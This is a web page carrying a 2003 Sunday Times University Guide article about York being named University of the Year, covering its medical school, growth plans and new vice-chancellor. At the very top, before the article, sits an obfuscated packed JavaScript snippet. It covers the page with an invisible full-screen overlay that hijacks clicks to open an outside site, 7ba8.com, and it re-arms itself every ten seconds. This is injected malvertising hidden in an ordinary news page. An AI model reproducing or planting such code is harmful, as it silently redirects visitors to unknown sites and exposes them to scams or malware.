<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>The Sunday Times University Guide 2003
York has built a fine record for teaching and research to become our University of the Year on its 40th birthday, writes Alastair McCall
Life begins at 40 for the University of York, the Sunday Times University of the Year. Founded in 1963, York has plenty to celebrate in 2003. A new medical school welcomes its first students tomorrow, a £25m biomedical sciences teaching and research building has recently opened and the university has a new vice-chancellor. Our prestigious award will help this to be a year to remember.
York is one of the most consistent performers in our university league table. In the past six years of our guide it has maintained its position between fifth and seventh place. If any university among the chasing pack is to break into the top four over the next few years, York is the prime candidate.
Its status is all the more remarkable considering the university's relative youth.
Professor Brian Cantor, appointed vice-chancellor a year ago, said: "I think to go from a standing start in 1963 to becoming a world-class university in 40 years is quite an achievement." A small cathedral city such as York probably should have had a university long before the 1960s. The absence of a long history has, however, allowed the institution to forge a modern approach to higher education. It has managed a difficult balancing act between a traditional setting and subject mix and a slightly alternative attitude.
Where others have struggled to meet targets for social inclusion, York has done well, recruiting more than its target proportion of students from state schools and all but matching its benchmarks for students drawn from working class backgrounds and deprived areas.
"People know what the flavour of the university is," said Cantor. "We are comfortable with widening participation. We do not have to drop grades in the slightest and that trend will not diminish."
Size has also been important in preserving York's distinctiveness. As the size of other universities has increased inexorably in the past decade, York has grown more organically and still has barely 6,000 full-time students. Students are grouped in seven undergraduate colleges of about 900, which also serve as the base for academic departments. But the mix of subjects in each is wide and the absence of a central student venue ensures that the colleges remain both academic and social hubs.
Asked what set York apart, Cantor said: "Our eclectic intellectual atmosphere. It's a somewhat pompous phrase but it's what we have here. We are still relatively small, but that has been a benefit as we have retained a friendly, happy, collegiate feel."
Despite plans for expansion of the campus, this character will be preserved. The Heslington East development will allow the university to expand many of the subject areas in which it excels, such as English, economics and chemistry, as well as allowing the introduction of some subjects missing from its current portfolio.
Law, business and pharmacy are the three most likely additions, but York will continue to eschew the fadism that has characterised some university expansion in the last decade. A lengthy planning process means none of the changes is likely to be in place until at least 2007.
York will not stagnate in the meantime, however. A graduate unemployment rate of just 5.5% is proof enough that a portfolio of vocational degrees is not a prerequisite for success in the job market. "We are committed to strong, viable departments. There are no passengers here, but we are not into growth for growth's sake," said Cantor. "We will support our existing subjects first and only expand if there is an academic case for it. We punch above our weight already."
The opening of the Hull York medical school this week is a big step towards becoming a serious academic player. It is an important statement to the world at large, where York's formidable reputation for teaching and research may be less well known.
About 130 medical students begin their studies this week, split between the universities of York and Hull. The new school, like others across the UK, aims to address local as well as national needs. Students will work in local hospitals and surgeries throughout their five-year training.
The medical school will complement York's already excellent reputation for biology, psychology, nursing, health sciences, social work and social policy. "The boost they will get and the synergy with the medical school will provide wonderful opportunities for teaching and research," said Cantor. "There is an increasing need for universities to develop multi-disciplinary activities, especially at research level."
A significant strand of the vice-chancellor's brief is to build York's standing among world universities. A materials scientist used to holding his own on the world academic stage, Cantor is just back from China. Next he is heading for Japan and America to forge academic alliances and research collaboration and to establish student exchanges. "A lot of building of our international profile is needed," he conceded.
The university has recently established four interdisciplinary research centres and hopes to create between 10 and 15 anniversary professorships in a range of disciplines to mark its 40th birthday. |
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